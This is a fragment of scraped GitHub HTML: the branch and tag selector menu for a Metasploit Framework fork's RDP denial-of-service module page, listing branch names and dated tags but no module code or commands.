href="/jvazquez-r7/metasploit-framework/blob/undo_post/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="undo_post" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="undo_post">undo_post</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/unless_over_if_not/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="unless_over_if_not" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="unless_over_if_not">unless_over_if_not</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/unstable/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="unstable" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="unstable">unstable</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/update-pattern-create/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="update-pattern-create" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="update-pattern-create">update-pattern-create</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/use_office_ropdb/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="use_office_ropdb" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="use_office_ropdb">use_office_ropdb</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/v0pCr3w_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="v0pCr3w_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="v0pCr3w_work">v0pCr3w_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/vbulletin/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="vbulletin" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="vbulletin">vbulletin</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/vmware_vcenter_chargeback_upload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="vmware_vcenter_chargeback_upload" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="vmware_vcenter_chargeback_upload">vmware_vcenter_chargeback_upload</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/web-modules/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="web-modules" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="web-modules">web-modules</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/windows_theme/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="windows_theme" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="windows_theme">windows_theme</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/work_2227/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="work_2227" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="work_2227">work_2227</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/work_osx/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="work_osx" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="work_osx">work_osx</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/wp_asset_manager_upload_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="wp_asset_manager_upload_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="wp_asset_manager_upload_exec">wp_asset_manager_upload_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/wp_property_upload_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="wp_property_upload_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="wp_property_upload_exec">wp_property_upload_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zd_13_226/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zd_13_226" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zd_13_226">zd_13_226</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_006/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zdi_13_006" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zdi_13_006">zdi_13_006</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_130_exploit/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zdi_13_130_exploit" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zdi_13_130_exploit">zdi_13_130_exploit</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_182/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zdi_13_182" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zdi_13_182">zdi_13_182</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_190/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zdi_13_190" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zdi_13_190">zdi_13_190</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_205/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zdi_13_205" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zdi_13_205">zdi_13_205</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_207/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zdi_13_207" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zdi_13_207">zdi_13_207</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_225/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zdi_13_225" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zdi_13_225">zdi_13_225</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zdi_reference/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zdi_reference" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zdi_reference">zdi_reference</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zeknox-drupal_views_user_enum.rb/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zeknox-drupal_views_user_enum.rb" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zeknox-drupal_views_user_enum.rb">zeknox-drupal_views_user_enum.rb</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zenworks_control_center_upload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zenworks_control_center_upload" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zenworks_control_center_upload">zenworks_control_center_upload</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zeroSteiner-module-ms11-080/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zeroSteiner-module-ms11-080" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zeroSteiner-module-ms11-080">zeroSteiner-module-ms11-080</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/zpanel_zsudo/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="zpanel_zsudo" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="zpanel_zsudo">zpanel_zsudo</a> + </div> <!-- /.select-menu-item --> + </div> + + <div class="select-menu-no-results">Nothing to show</div> + </div> <!-- /.select-menu-list --> + + <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="tags"> + <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring"> + + + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/20120213000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="20120213000001" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="20120213000001">20120213000001</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/20120131000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="20120131000001" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="20120131000001">20120131000001</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/20120124000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="20120124000001" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="20120124000001">20120124000001</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/20120117000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="20120117000001" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="20120117000001">20120117000001</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/20120110000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="20120110000001" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="20120110000001">20120110000001</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/20120103000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="20120103000001" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="20120103000001">20120103000001</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/20111227000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="20111227000001" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="20111227000001">20111227000001</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/20111219000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="20111219000001" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="20111219000001">20111219000001</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/20111214013016/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="20111214013016" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="20111214013016">20111214013016</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/20111213184834/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="20111213184834" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="20111213184834">20111213184834</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/20111205000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="20111205000001" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="20111205000001">20111205000001</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012111402/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012111402" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012111402">2012111402</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012111401/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012111401" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012111401">2012111401</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012103101/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012103101" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012103101">2012103101</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012102401/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012102401" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012102401">2012102401</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012101702/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012101702" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012101702">2012101702</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012101701/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012101701" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012101701">2012101701</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012101002/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012101002" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012101002">2012101002</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012101001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012101001" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012101001">2012101001</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012100301/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012100301" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012100301">2012100301</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012092601/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012092601" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012092601">2012092601</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012091901/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012091901" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012091901">2012091901</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012091202/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012091202" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012091202">2012091202</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012091201/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012091201" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012091201">2012091201</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012090501/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012090501" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012090501">2012090501</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012082901/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012082901" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012082901">2012082901</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012082202/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012082202" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012082202">2012082202</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012082201/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012082201" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012082201">2012082201</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012081601/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012081601" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012081601">2012081601</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012080801/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012080801" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012080801">2012080801</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012071701/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012071701" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012071701">2012071701</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012071101/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012071101" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012071101">2012071101</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012070401/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012070401" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012070401">2012070401</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012062702/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012062702" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012062702">2012062702</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012062701/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012062701" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012062701">2012062701</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012062001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012062001" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012062001">2012062001</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012061301/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012061301" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012061301">2012061301</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012060603/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012060603" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012060603">2012060603</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012060601/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012060601" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012060601">2012060601</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012053002/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012053002" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012053002">2012053002</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012052303/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012052303" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012052303">2012052303</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012051603/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012051603" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012051603">2012051603</a> + </div> <!-- /.select-menu-item --> + <div 